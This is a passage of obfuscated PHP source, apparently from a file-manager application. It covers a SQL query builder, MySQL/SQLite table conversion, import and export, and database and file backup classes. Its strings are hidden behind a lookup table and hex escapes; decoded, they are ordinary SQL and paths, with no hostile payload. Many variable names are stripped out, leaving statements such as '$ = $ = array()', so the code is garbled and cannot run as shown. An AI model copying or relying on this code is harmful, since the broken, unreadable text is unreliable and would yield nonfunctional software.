(!empty($)) { if (is_array($)) { foreach ($ as $ => $) { if (!1 !== stripos($, $[1036])) { $犯 .= $[53] . $; } else { $犯 .= $[1037] . $; } } } else { $犯 .= $[1037] . $; } } $犯 = preg_replace($[1038], think_config($[942]) . $[1039], $犯); return $犯; } protected function parseOrder($) { $ =& $_SERVER[Ȣ]; if (is_array($)) { $Ջ = array(); foreach ($ as $˃ => $ί) { if (is_numeric($˃)) { $Ջ[] = $this->parseKey($ί); } else { $ί = in_array(strtoupper(trim($ί)), array($[1040], $[1041])) ? $[53] . $ί : $[12]; if (preg_match($[1042], $˃)) { $Ջ[] = $this->parseKey($˃) . $ί; } else { think_exception($[1043] . $˃); } } } $ = implode($[50], $Ջ); } return !empty($) ? $[1044] . $ : $[12]; } protected function parseGroup($) { $ʔ =& $_SERVER[Ȣ]; return !empty($) ? $ʔ[1045] . $ : $ʔ[12]; } protected function parseHaving($Ւ) { $ =& $_SERVER[Ȣ]; return !empty($Ւ) ? $[1046] . $Ւ : $[12]; } protected function parseComment($ӯ) { $Ö =& $_SERVER[Ȣ]; return !empty($ӯ) ? $Ö[1047] . $ӯ . $Ö[1048] : $Ö[12]; } protected function parseDistinct($) { $쬣 =& $_SERVER[Ȣ]; return !empty($) ? $쬣[1049] : $쬣[12]; } protected function parseUnion($Ԯ) { $ =& $_SERVER[Ȣ]; if (empty($Ԯ)) { return $[12]; } if (isset($Ԯ[$[356]])) { $ = $[1050]; unset($Ԯ[$[356]]); } else { $ = $[1051]; } foreach ($Ԯ as $俖) { $ᵐ[] = $ . (is_array($俖) ? $this->buildSelectSql($俖) : $俖); } return implode($[53], $ᵐ); } public function insert($߫, $ = array(), $ = false) { $Η =& $_SERVER[Ȣ]; $ = $ = array(); $this->model = $[$Η[289]]; foreach ($߫ as $ => $) { if (is_array($) && $Η[305] == $[0]) { $[] = $this->parseKey($); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $[] = $this->parseValue($); } } $ = ($ ? $Η[919] : $Η[920]) . $Η[921] . $this->parseTable($[$Η[287]]) . $Η[915] . implode($Η[50], $) . $Η[916] . implode($Η[50], $) . $Η[917]; $ .= $this->parseLock(isset($[$Η[860]]) ? $[$Η[860]] : !1); $ .= $this->parseComment(!empty($[$Η[362]]) ? $[$Η[362]] : $Η[12]); return $this->execute($, $this->parseBind(!empty($[$Η[293]]) ? $[$Η[293]] : array())); } public function selectInsert($ҹ, $ݕ̎, $ƽ = array()) { $ =& $_SERVER[Ȣ]; $this->model = $ƽ[$[289]]; if (is_string($ҹ)) { $ҹ = explode($[50], $ҹ); } array_walk($ҹ, array($this, $[918])); $ = $[1052] . $this->parseTable($ݕ̎) . $[915] . implode($[50], $ҹ) . $[1030]; $ .= $this->buildSelectSql($ƽ); return $this->execute($, $this->parseBind(!empty($ƽ[$[293]]) ? $ƽ[$[293]] : array())); } public function update($, $Ž) { $̪ =& $_SERVER[Ȣ]; $this->model = $Ž[$̪[289]]; $ = $̪[1053] . $this->parseTable($Ž[$̪[287]]) . $this->parseSet($) . $this->parseWhere(!empty($Ž[$̪[283]]) ? $Ž[$̪[283]] : $̪[12]) . $this->parseOrder(!empty($Ž[$̪[373]]) ? $Ž[$̪[373]] : $̪[12]) . $this->parseLimit(!empty($Ž[$̪[300]]) ? $Ž[$̪[300]] : $̪[12]) . $this->parseLock(isset($Ž[$̪[860]]) ? $Ž[$̪[860]] : !1) . $this->parseComment(!empty($Ž[$̪[362]]) ? $Ž[$̪[362]] : $̪[12]); return $this->execute($, $this->parseBind(!empty($Ž[$̪[293]]) ? $Ž[$̪[293]] : array())); } public function delete($ĉ = array()) { $ګߓ =& $_SERVER[Ȣ]; $this->model = $ĉ[$ګߓ[289]]; $왫ր = $ګߓ[1054] . $this->parseTable($ĉ[$ګߓ[287]]) . $this->parseWhere(!empty($ĉ[$ګߓ[283]]) ? $ĉ[$ګߓ[283]] : $ګߓ[12]) . $this->parseOrder(!empty($ĉ[$ګߓ[373]]) ? $ĉ[$ګߓ[373]] : $ګߓ[12]) . $this->parseLimit(!empty($ĉ[$ګߓ[300]]) ? $ĉ[$ګߓ[300]] : $ګߓ[12]) . $this->parseLock(isset($ĉ[$ګߓ[860]]) ? $ĉ[$ګߓ[860]] : !1) . $this->parseComment(!empty($ĉ[$ګߓ[362]]) ? $ĉ[$ګߓ[362]] : $ګߓ[12]); return $this->execute($왫ր, $this->parseBind(!empty($ĉ[$ګߓ[293]]) ? $ĉ[$ګߓ[293]] : array())); } public function select($ʡ = array()) { $ =& $_SERVER[Ȣ]; $this->model = $ʡ[$[289]]; $ = $this->buildSelectSql($ʡ); $ˮ = isset($ʡ[$[357]]) ? $ʡ[$[357]] : !1; if ($ˮ) { $ = is_string($ˮ[$[105]]) ? $ˮ[$[105]] : $[1055] . md5($); $̐Ě = think_cache($, $[12], $ˮ); if (!1 !== $̐Ě) { return $̐Ě; } } $Δ = $this->query($, $this->parseBind(!empty($ʡ[$[293]]) ? $ʡ[$[293]] : array())); if ($ˮ && !1 !== $Δ) { think_cache($, $Δ, $ˮ); } return $Δ; } public function buildSelectSql($ˏԎ = array()) { $ =& $_SERVER[Ȣ]; if (isset($ˏԎ[$[361]])) { if (strpos($ˏԎ[$[361]], $[50])) { list($, $⫼) = explode($[50], $ˏԎ[$[361]]); } else { $ = $ˏԎ[$[361]]; } $ = $ ? $ : 1; $⫼ = isset($⫼) ? $⫼ : (is_numeric($ˏԎ[$[300]]) ? $ˏԎ[$[300]] : 20); $ = $⫼ * ((int) $ - 1); $ˏԎ[$[300]] = $ . $[50] . $⫼; } if (think_config($[1056])) { $ӊ = $[1057] . md5(serialize($ˏԎ)); $ڀ = think_cache($ӊ); if ($ڀ) { return $ڀ; } } $ = $this->parseSql($this->selectSql, $ˏԎ); $ .= $this->parseLock(isset($ˏԎ[$[860]]) ? $ˏԎ[$[860]] : !1); if (isset($ӊ)) { think_cache($ӊ, $); } return $; } public function parseSql($ɯ, $ = array()) { $Ԗ =& $_SERVER[Ȣ]; $ɯ = str_replace(array($Ԗ[1058], $Ԗ[1059], $Ԗ[1060], $Ԗ[1061], $Ԗ[1062], $Ԗ[1063], $Ԗ[1064], $Ԗ[1065], $Ԗ[1066], $Ԗ[1067], $Ԗ[1068]), array($this->parseTable("{$[$Ԗ[287]]}"), $this->parseDistinct(isset($[$Ԗ[1069]]) ? $[$Ԗ[1069]] : !1), $this->parseField(!empty($[$Ԗ[281]]) ? $[$Ԗ[281]] : $Ԗ[195]), $this->parseJoin(!empty($[$Ԗ[290]]) ? $[$Ԗ[290]] : $Ԗ[12]), $this->parseWhere(!empty($[$Ԗ[283]]) ? $[$Ԗ[283]] : $Ԗ[12]), $this->parseGroup(!empty($[$Ԗ[520]]) ? $[$Ԗ[520]] : $Ԗ[12]), $this->parseHaving(!empty($[$Ԗ[1070]]) ? $[$Ԗ[1070]] : $Ԗ[12]), $this->parseOrder(!empty($[$Ԗ[373]]) ? $[$Ԗ[373]] : $Ԗ[12]), $this->parseLimit(!empty($[$Ԗ[300]]) ? $[$Ԗ[300]] : $Ԗ[12]), $this->parseUnion(!empty($[$Ԗ[355]]) ? $[$Ԗ[355]] : $Ԗ[12]), $this->parseComment(!empty($[$Ԗ[362]]) ? $[$Ԗ[362]] : $Ԗ[12])), $ɯ); return $ɯ; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($Ź) { return addslashes($Ź); } public function setModel($湰) { $this->model = $湰; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($á = array()) { $Ľ =& $_SERVER[Ȣ]; if (empty($á)) { $á = $GLOBALS[$Ľ[6]][$Ľ[21]]; } $this->database = $á; } public function model($Ⱦ = '') { return new ModelBase($Ⱦ, $_SERVER[Ȣ][12], $this->database); } public function db($ = false) { $Ӧ =& $_SERVER[Ȣ]; $⢗ = array_change_key_case($this->database); if ($this->dbType() == $Ӧ[13] || !$) { return $this->model()->db(); } $Ϝ = $⢗[$Ӧ[984]]; $⢗[$Ӧ[984]] = $Ӧ[12]; if ($⢗[$Ӧ[979]] == $Ӧ[976]) { $ = $⢗[$Ӧ[985]]; $⢗[$Ӧ[985]] = substr($, 0, strrpos($, $Ӧ[1071])); } $this->database = $⢗; $ = $this->model()->db(); try { $ = $->execute("\x73\150\x6f\x77\x20\x64\141\x74\141\x62\x61\x73\x65\x73\x20\154\x69\153\145\40\47{$Ϝ}\x27"); } catch (Exception $) { } if (!$) { $->execute("\x63\162\145\141\164\x65\40\144\x61\164\x61\x62\141\x73\x65\x20\140{$Ϝ}\140"); } $⢗[$Ӧ[984]] = $Ϝ; if ($⢗[$Ӧ[979]] == $Ӧ[976]) { $⢗[$Ӧ[985]] .= $Ӧ[1071] . $Ϝ; } $this->database = $⢗; $->execute("\x75\163\x65\x20\140{$Ϝ}\x60"); return $; } public function createTable($, &$) { $Ʊۨ =& $_SERVER[Ȣ]; if (!IO::exist($)) { ActionCall($Ʊۨ[1072], !0, 0); show_json(LNG($Ʊۨ[1073]), !1); } $՟ر = $this->model()->db(); $ߑ = sqlSplit(IO::getContent($)); foreach ($ߑ as $) { $Ħ = stripos($, $Ʊۨ[1074]) === 0; if ($Ħ) { $->task[$Ʊۨ[803]] += 1; } $՟ر->execute($); if ($Ħ) { preg_match($Ʊۨ[1075], $, $캊); $->task[$Ʊۨ[1076]] = $캊[1]; $->update(1); } } } public function insertTable($ǵ, &$) { $ =& $_SERVER[Ȣ]; $͙ = $this->model()->db(); $ = $Ő ? array($Ő) : $͙->getTables(); foreach ($ǵ as $ľΡ) { $Ő = basename($ľΡ, $[805]); if (!in_array($Ő, $)) { continue; } $->task[$[1076]] = $Ő; if (get_filesize($ľΡ) == 0) { continue; } $ = $this->sqlToDb($ľΡ, $); if (!$) { ActionCall($[1072], !0, 0); show_json(LNG($[1077]) . "\x5b{$Ő}\x5d", !1); } } } public function sqlFromDb($, $, &$ĩ, $ = '') { if ($ĩ) { $ĩ->task[$_SERVER[Ȣ][1076]] = $; } $ = $this->model($); $ = 0; $ = 0; $̖ = 10000; $ܭ = fopen($, $_SERVER[Ȣ][1078]); $۞ = $->getPk(); $ = $->getDbFields(); $ė = $_SERVER[Ȣ][12]; if ($GLOBALS[$_SERVER[Ȣ][804]] && in_array($, array($_SERVER[Ȣ][1079], $_SERVER[Ȣ][1080]))) { $ė = $; } do { $ح = array($۞ => array($_SERVER[Ȣ][1026], $)); $탵 = $->where($ح)->field($)->order($۞ . $_SERVER[Ȣ][1081])->limit($̖)->select(); $탵 = !empty($탵) ? $탵 : array(); if (!($ = count($탵))) { break; } $Ⱦ = end($탵); $ = $Ⱦ[$۞]; $̼ = array(); foreach ($탵 as $㘰) { if ($ė) { if ($ == $_SERVER[Ȣ][1079]) { if ($㘰[$_SERVER[Ȣ][33]] == $_SERVER[Ȣ][1082]) { $ = json_decode($㘰[$_SERVER[Ȣ][382]], !0); if ($[$_SERVER[Ȣ][32]] == $GLOBALS[$_SERVER[Ȣ][804]] && $[$_SERVER[Ȣ][767]] != 1) { continue; } } } else { if ($㘰[$_SERVER[Ȣ][33]] == $_SERVER[Ȣ][1083] && $㘰[$_SERVER[Ȣ][105]] == $_SERVER[Ȣ][796]) { continue; } } } if ($) { $㘰[$_SERVER[Ȣ][88]] = "\173\x69\157\72{$}\x7d" . substr($㘰[$_SERVER[Ȣ][88]], strlen("\173\151\157\x3a{$㘰[$_SERVER[Ȣ][834]]}\x7d")); $㘰[$_SERVER[Ȣ][834]] = $; } $̼[] = $_SERVER[Ȣ][1084] . $this->sqlEncode($㘰) . $_SERVER[Ȣ][1085]; } $ʥ = "\111\x4e\x53\105\122\x54\x20\111\x4e\x54\117\40\140{$}\140\x20\50\x60" . implode($_SERVER[Ȣ][1086], $) . $_SERVER[Ȣ][1087]; fwrite($ܭ, $ʥ . implode($_SERVER[Ȣ][1088], $̼) . $_SERVER[Ȣ][81] . PHP_EOL); $ += $; if ($ĩ) { $ĩ->update($); } } while ($̖ == $); fclose($ܭ); return $; } public function sqlToDb($Æ, &$ĺ) { $ =& $_SERVER[Ȣ]; $ȣ = $this->model()->db(); $݆ = @fopen($Æ, $[1089]); if (!$݆) { return !1; } $Գ = 0; $ӕ = $[12]; $ȇߞ = array(); $ӕ = $this->dbType(); $ = $ӕ == $[13] ? 500 : 2000; $ = basename($Æ, $[805]); $ǁ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($݆)) { $մ = trim(fgets($݆)); if (!$մ) { continue; } $ø = $this->sqlDecode($մ, $ӕ, $); if (stripos($ø, $[363]) === 0) { if (!$ӕ) { $ӕ = $ø . $[53]; } continue; } if ($ĺ) { $ĺ->task[$[803]] += 1; } $Գ++; $ȇߞ[] = rtrim(rtrim(trim($ø), $[50]), $[81]); $ = null; $ʳ = strlen($ø); $ǁ += $ʳ; if ($ǁ >= ($ == 500 ? $ : $)) { $ = array_pop($ȇߞ); if ($Գ > 1) { $Գ--; } } if ($Գ >= $ || $) { $ø = $ӕ . implode($[50], $ȇߞ); if (!$ȣ->execute($ø)) { return !1; } if ($ĺ) { $ĺ->update($Գ); } $ȇߞ = array(); $Գ = 0; $ǁ = 0; if ($) { $ȇߞ = array($); $Գ = 1; $ǁ = $ʳ; } } } fclose($݆); if (!empty($ȇߞ)) { $ø = $ӕ . implode($[50], $ȇߞ); if (!$ȣ->execute($ø)) { return !1; } if ($ĺ) { $ĺ->update($Գ); } } return !0; } public function dropTable($γ = null) { $똸 = $this->model()->db(); $ŏ = $γ ? array($γ) : $똸->getTables(); if (!$ŏ) { return; } foreach ($ŏ as $γ) { if ($γ) { $γ = strtolower($γ); } else { continue; } $똸->execute("\144\x72\x6f\x70\40\x74\x61\142\x6c\145\40\151\146\40\x65\x78\x69\x73\164\x73\40\x60{$γ}\x60"); } } private function sqlEncode($) { $œ܄ =& $_SERVER[Ȣ]; $˲ݱ = array(); foreach ($ as $Ҷ) { if (is_array($Ҷ)) { $Ҷ = json_encode_force($Ҷ); } $Ҷ = addslashes($Ҷ); $Ҷ = str_replace(array($œ܄[1090], $œ܄[66]), array($œ܄[1091], $œ܄[1092]), $Ҷ); $˲ݱ[] = str_replace($œ܄[58], $œ܄[1093], $Ҷ); } return $œ܄[58] . implode($œ܄[1094], $˲ݱ) . $œ܄[58]; } private function sqlDecode($, $, $ = '') { $Ġ =& $_SERVER[Ȣ]; $ = str_replace(array($Ġ[1091], $Ġ[1092]), array($Ġ[1090], $Ġ[66]), $); if ($ == $Ġ[13]) { return $ != $Ġ[1095] ? stripslashes($) : $; } if ($ == $Ġ[1095]) { $ = str_replace($Ġ[1096], $Ġ[129], stripslashes($)); } return $; } public function getSqlFile($Ƀ = '') { $ͤЧ =& $_SERVER[Ȣ]; $ͅ = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\x6e\x73\164\141\154\x6c\57\144\141\x74\x61\x2f{$ͅ}\56\x73\161\x6c"; $ȫ = file_get_contents($); $ = $ͤЧ[1097] . ($ͅ == $ͤЧ[821] ? $ͤЧ[1098] : $ͤЧ[1099]) . $ͤЧ[1100]; preg_match_all($, $ȫ, $Ű); $ = $Ű[1]; $Êډ = $this->model()->db(); $ = $Êډ->getTables(); $ = TEMP_FILES . $ͤЧ[1101] . date($ͤЧ[768]) . $ͤЧ[8]; del_dir($); mk_dir($); $Ʃ = $ . $ͤЧ[1102]; $ͯȷ = $ . $ͤЧ[1103]; $³ = $ͅ == $ͤЧ[13] ? $ͤЧ[821] : $ͤЧ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\x74\x61\x6c\x6c\x2f\144\x61\x74\x61\x2f{$³}\x2e\163\x71\154", $); @touch($ . $ͅ . $ͤЧ[805]); $ = fopen($Ʃ, $ͤЧ[1078]); $Ȗ = fopen($ͯȷ, $ͤЧ[1078]); if ($ͅ == $ͤЧ[13]) { $ = array_diff($, array($ͤЧ[801], $ͤЧ[802])); $ = array($ͤЧ[1104], $ͤЧ[1105], $ͤЧ[1106]); fwrite($Ȗ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $ɯ) { $ǀ = $this->sqlFromSqlite($ɯ); if (!$ǀ[$ͤЧ[13]]) { continue; } fwrite($Ȗ, $ǀ[$ͤЧ[13]] . PHP_EOL . PHP_EOL); if (!in_array($ɯ, $)) { fwrite($, $ǀ[$ͤЧ[821]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ɯ) { $ǀ = $this->sqlFromMysql($ɯ); if (!$ǀ[$ͤЧ[821]]) { continue; } fwrite($, $ǀ[$ͤЧ[821]] . PHP_EOL . PHP_EOL); if (!in_array($ɯ, $)) { fwrite($Ȗ, $ǀ[$ͤЧ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($Ȗ); $ȫ = array($ͤЧ[821] => $Ʃ, $ͤЧ[13] => $ͯȷ); return $Ƀ ? $ȫ[$Ƀ] : $ȫ; } public function dbType($ڪ = false) { $ =& $_SERVER[Ȣ]; $ = $ڪ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[979]]; if ($ == $[976]) { $ב = explode($[4], $[$[985]]); $ = $ב[0]; } $彳 = array($[1107] => $[13], $[924] => $[821]); if (isset($彳[$])) { $ = $彳[$]; } return $; } public function sqlFromMysql($묈, $ = '') { $ =& $_SERVER[Ȣ]; $ = $this->model()->db(); $ = $->query($[1108] . $묈 . $[393]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1109], $[12]); if (!$) { return !1; } $摓 = "\104\122\117\120\40\124\101\x42\114\105\x20\111\106\40\x45\x58\x49\123\124\123\x20\140{$묈}\x60\73" . PHP_EOL . $ . $[81]; if ($ && $ == $[821]) { return $摓; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[984]]; $« = $[1110] . $ . $[1111] . $묈 . $[58]; $ó = $[1112] . $묈 . $[912]; $ݒ = $->query($«); if (empty($ݒ)) { $ = array($[821] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $䑜 = $->query($ó); $ = $[12]; $芦ˮ = array(); foreach ($䑜 as $ͤƁ) { if (!$ && $ͤƁ[$[1113]] == $[1114]) { $ = $ͤƁ[$[1115]]; } if (isset($芦ˮ[$ͤƁ[$[1113]]])) { $芦ˮ[$ͤƁ[$[1113]]][$[1116]][] = $ͤƁ[$[1115]]; continue; } $芦ˮ[$ͤƁ[$[1113]]] = array($[1117] => $ͤƁ[$[1113]], $[1116] => array($ͤƁ[$[1115]]), $[1118] => $ͤƁ[$[1119]] == $[99] ? 0 : 1); } $ߜ = array(); foreach ($芦ˮ as $ͤƁ) { $ = $ͤƁ[$[1117]] == $[1114]; $ޗͬ = array($[1120], $ͤƁ[$[1118]] == $[99] && !$ ? $[1121] : $[12], $[1122], $[1123] . $묈 . $[11] . ($ ? $[1124] : $ͤƁ[$[1117]]) . $[129], $[1125], $[129] . $묈 . $[129], $[1126] . implode($[1127], $ͤƁ[$[1116]]) . $[1128]); $ߜ[] = implode($[53], $ޗͬ) . $[81]; } $ = array(); $ƻ = array($[1129] => $[1130], $[1130] => $[1130], $[296] => $[323], $[295] => $[323]); foreach ($ݒ as $ͤƁ) { $ޗͬ = array($[129] . $ͤƁ[$[1131]] . $[129], isset($ƻ[$ͤƁ[$[1132]]]) ? $ƻ[$ͤƁ[$[1132]]] : $ͤƁ[$[1133]], $ͤƁ[$[1134]] == $[910] ? $[1135] : $[1136], $ͤƁ[$[1131]] == $ ? $[1137] : $[12], $ͤƁ[$[961]] ? strtoupper(str_replace($[11], $[12], $ͤƁ[$[961]])) : $[12]); $[] = trim(implode($[53], $ޗͬ)); } $ = array($[1138] . $묈 . $[1139], $[1140] . $묈 . $[1141], implode($[50] . PHP_EOL, $), $[958]); $ = implode(PHP_EOL, array_merge($, $ߜ)); if ($ && $ == $[13]) { return $; } $ = array($[821] => $摓, $[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($ㇶ, $ = '') { $Ŗ =& $_SERVER[Ȣ]; $ = $this->model()->db(); $ΗÎ = "\x50\x52\x41\x47\115\x41\40\x54\101\x42\x4c\x45\x5f\x49\116\106\117\x20\x28\x27{$ㇶ}\x27\51"; $ = "\123\x45\114\105\x43\x54\x20\x2a\40\106\x52\x4f\x4d\40\x73\161\x6c\x69\x74\145\x5f\x6d\141\x73\x74\x65\162\40\127\x48\x45\122\105\40\164\142\154\x5f\156\141\155\x65\40\75\40\47{$ㇶ}\x27"; $ѽ = $->query($ΗÎ); if (empty($ѽ)) { $ = array($Ŗ[821] => $Ŗ[12], $Ŗ[13] => $Ŗ[12]); return $ ? $[$] : $; } $巘 = $->query($); $ݏ = $ߥ = array(); foreach ($巘 as $ക) { if ($ക[$Ŗ[33]] == $Ŗ[287]) { $ݏ[] = $ക[$Ŗ[1142]]; } else { $ߥ[$ക[$Ŗ[32]]] = $ക[$Ŗ[1142]]; } } $ = array_merge(array($Ŗ[1138] . $ㇶ . $Ŗ[129]), $ݏ, array_values($ߥ)); $ = implode($Ŗ[81] . PHP_EOL, $) . $Ŗ[81]; if ($ && $ == $Ŗ[13]) { return $; } $ = array(); $ج = array($Ŗ[1130] => $Ŗ[1143], $Ŗ[323] => $Ŗ[1144]); $ҖԜ = $Ŗ[12]; foreach ($ѽ as $ക) { if ($ക[$Ŗ[57]] == $Ŗ[99]) { $ҖԜ = $ക[$Ŗ[32]]; } $ = array($Ŗ[393] . $ക[$Ŗ[32]] . $Ŗ[393], isset($ج[$ക[$Ŗ[33]]]) ? $ج[$ക[$Ŗ[33]]] : $ക[$Ŗ[33]], $ക[$Ŗ[35]] == $Ŗ[99] ? $Ŗ[1135] : $Ŗ[1145] . $ക[$Ŗ[56]], $ക[$Ŗ[57]] == $Ŗ[99] ? $Ŗ[1146] : $Ŗ[12]); $[] = trim(implode($Ŗ[53], $)); } foreach ($ߥ as $ܟ => $) { $ҫ = str_replace($Ŗ[1147] . $ㇶ . $Ŗ[11], $Ŗ[12], $ܟ); $ = str_replace(array($Ŗ[129], $Ŗ[969]), $Ŗ[393], substr($, stripos($, $Ŗ[268]))); if ($ҫ == $Ŗ[1124]) { $ = $Ŗ[1148] . $ҖԜ . $Ŗ[1149]; } else { $ = (stripos($ҫ, $Ŗ[11]) ? $Ŗ[1150] : $Ŗ[12]) . ($Ŗ[1151] . $ҫ . $Ŗ[1152] . $); } $[] = $; } $ك = array($Ŗ[1153] . $ㇶ . $Ŗ[1154], $Ŗ[1155] . $ㇶ . $Ŗ[1156], implode($Ŗ[50] . PHP_EOL, $), $Ŗ[1157]); $ = implode(PHP_EOL, $ك); if ($ && $ == $Ŗ[821]) { return $; } $ = array($Ŗ[821] => $, $Ŗ[13] => $); return $ ? $[$] : $; } } goto bѡ; a: class BackupDbFile { public function __construct() { } public function index() { $œ =& $_SERVER[Ȣ]; $ʋ = Backup::get(); $悘 = $ʋ[$œ[32]]; $խ = $this->tmpFilesPath() . "\142\x61\x63\x6b\165\160\x5f{$悘}\57"; $ = $this->backupPath($ʋ); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($խ); $ = isset($[$œ[86]]) ? $[$œ[86]] : array(); $ = array_sum(array_column($, $œ[90])); if (!$) { return !1; } $Û = array($œ[815] => $, $œ[816] => time()); Backup::set($Û); $ = new TaskFileTransfer($œ[817], $œ[797], count($), LNG($œ[798]) . $œ[465] . LNG($œ[800]) . $œ[818]); $->task[$œ[780]] = $; foreach ($[$œ[86]] as $ˉؙ) { $ճ = IO::move($ˉؙ[$œ[88]], $); if (!$ճ) { $->end(); $ = IO::getLastError($œ[819] . $ˉؙ[$œ[88]] . $œ[820] . $ . $œ[541]); write_log($, $œ[797]); return !1; } } $ث = new DbManage(); $ޒ = $ث->getSqlFile(); if (!$ޒ[$œ[821]] || !$ޒ[$œ[13]]) { return !1; } IO::move($ޒ[$œ[821]], $); IO::move($ޒ[$œ[13]], $); $->end(); $Û = array($œ[822] => $, $œ[823] => time()); Backup::set($Û); return !0; } private function backupPath($⋿) { $ =& $_SERVER[Ȣ]; $ = $⋿[$[32]]; $ϥ = Model($[787])->get($[788]); $ŏ = substr(md5($[789] . $ϥ . $), 0, 8); return "\173\x69\x6f\x3a{$⋿[$[769]]}\175\57\144\x61\164\x61\142\141\163\145\x2f\x62\x61\143\153\165\160\x2f" . $ . $[11] . $ŏ; } private function tmpFilesPath() { $˘ =& $_SERVER[Ȣ]; $ڵ = TEMP_FILES; if ($GLOBALS[$˘[6]][$˘[100]][$˘[813]]) { $ڵ = $GLOBALS[$˘[6]][$˘[100]][$˘[813]]; if (!mk_dir($ڵ) || !is_writable($ڵ) || !IO::mkfile($ڵ . $˘[814])) { $ڵ = TEMP_FILES; } } return $ڵ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $Ð = $[$_SERVER[Ȣ][301]][$_SERVER[Ȣ][206]][$_SERVER[Ȣ][472]]; $Ϗݸ = array($_SERVER[Ȣ][473] => array($_SERVER[Ȣ][824], $Ð), $_SERVER[Ȣ][825] => array($_SERVER[Ȣ][339], $[$_SERVER[Ȣ][769]])); $ = (int) Model($_SERVER[Ȣ][806])->where($Ϗݸ)->count($_SERVER[Ȣ][472]); $牋 = (int) Model($_SERVER[Ȣ][806])->where($Ϗݸ)->sum($_SERVER[Ȣ][90]); $ = new TaskFileTransfer($_SERVER[Ȣ][826], $_SERVER[Ȣ][797], $, LNG($_SERVER[Ȣ][798]) . $_SERVER[Ȣ][799] . LNG($_SERVER[Ȣ][827])); $->task[$_SERVER[Ȣ][780]] = $牋; $ = array($_SERVER[Ȣ][828] => $, $_SERVER[Ȣ][829] => $牋, $_SERVER[Ȣ][830] => time()); Backup::set($); $ό = !0; $䌧 = $this->storeIds(); $ = 1; $ٯ = 1000; $ = $҅ = 0; $ܺ = array(); $Ԫ = $˵ = 0; do { $ì = $_SERVER[Ȣ][831]; $ԇ = Model($_SERVER[Ȣ][806])->where($Ϗݸ)->field($ì)->order($_SERVER[Ȣ][832])->selectPage($ٯ, $); $ѵ = !empty($ԇ[$_SERVER[Ȣ][377]]) ? $ԇ[$_SERVER[Ȣ][377]] : array(); foreach ($ѵ as $) { if (!$this->_fileExist($, $ܺ, $䌧)) { $ -= 1; $牋 -= (int) $[$_SERVER[Ȣ][90]]; write_log("\146\x69\x6c\x65\40\x6e\157\x74\x20\x65\x78\x69\163\164\56\146\151\154\145\x49\104\x3a{$[$_SERVER[Ȣ][472]]}\x2c\40\160\x61\164\150\72{$[$_SERVER[Ȣ][88]]}", $_SERVER[Ȣ][833]); continue; } $ = $[$_SERVER[Ȣ][88]]; $Ҕ = "\x7b\151\x6f\x3a{$[$_SERVER[Ȣ][769]]}\x7d" . substr($, strlen("\173\x69\157\72{$[$_SERVER[Ȣ][834]]}\x7d")); if (IO::exist($Ҕ)) { $->updateFileEnd($[$_SERVER[Ȣ][32]], $[$_SERVER[Ȣ][90]]); } else { $Ҕ = get_path_father($Ҕ); IO::mkdir($Ҕ); if (!IO::copy($, $Ҕ, $_SERVER[Ȣ][835])) { write_log($_SERVER[Ȣ][836] . $ . $_SERVER[Ȣ][820] . $Ҕ . $_SERVER[Ȣ][541], $_SERVER[Ȣ][797]); $ό = !1; break; } } $Ð = $[$_SERVER[Ȣ][472]]; $҅ += 1; $ += $[$_SERVER[Ȣ][90]]; $˵ += 1; $Ԫ += $[$_SERVER[Ȣ][90]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[Ȣ][837] => $Ð, $_SERVER[Ȣ][838] => $˵, $_SERVER[Ȣ][839] => $Ԫ); Backup::set($); $ = $҅ = 0; } } $仞 = count($ѵ); $++; } while ($仞 == $ٯ); $->end(); $ = array($_SERVER[Ȣ][840] => 1, $_SERVER[Ȣ][501] => time(), $_SERVER[Ȣ][792] => 1, $_SERVER[Ȣ][837] => $Ð, $_SERVER[Ȣ][829] => $牋, $_SERVER[Ȣ][828] => $, $_SERVER[Ȣ][841] => time()); if ($҅) { $[$_SERVER[Ȣ][838]] = $˵; $[$_SERVER[Ȣ][839]] = $Ԫ; } Backup::set($); $this->_fileFilter($ܺ); return !0; } private function _fileExist($, &$, $ŧ) { $ק۫ =& $_SERVER[Ȣ]; $ﶙȫ = $[$ק۫[88]]; if (in_array($[$ק۫[472]], $)) { return !1; } if (!in_array($[$ק۫[834]], $ŧ)) { return !1; } if (IO::exist($ﶙȫ)) { return !0; } $ = get_path_father($ﶙȫ); if (IO::exist($)) { $[] = $[$ק۫[472]]; return !1; } $ܽ = array($ק۫[834] => $[$ק۫[834]], $ק۫[88] => array($ק۫[391], "{$}\x25")); $ = Model($ק۫[806])->where($ܽ)->field($ק۫[473])->select(); $ = array_merge($, array_to_keyvalue($, $ק۫[12], $ק۫[472])); return !1; } private function _fileFilter($) { $춰 =& $_SERVER[Ȣ]; if (empty($)) { return; } $ = array($춰[472] => array($춰[7], array_unique($))); $ = Model($춰[842])->where($)->field($춰[408])->select(); foreach ($ as $ᗿ) { Model($춰[842])->remove($ᗿ[$춰[408]], !1); } } private function storeIds() { $Ľ =& $_SERVER[Ȣ]; $ = Model($Ľ[784])->listData(); $ = array(); $О = $GLOBALS[$Ľ[6]][$Ľ[100]][$Ľ[843]]; foreach ($ as $) { $ş = strtolower($[$Ľ[106]]); if (!isset($О[$ş])) { continue; } $ = $Ľ[84] . (isset($О[$ş]) ? $О[$ş] : ucfirst($ş)); if (!class_exists($)) { continue; } $[] = $[$Ľ[405]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $Ϗ =& $_SERVER[Ȣ]; if (self::$handle) { return self::$handle; } 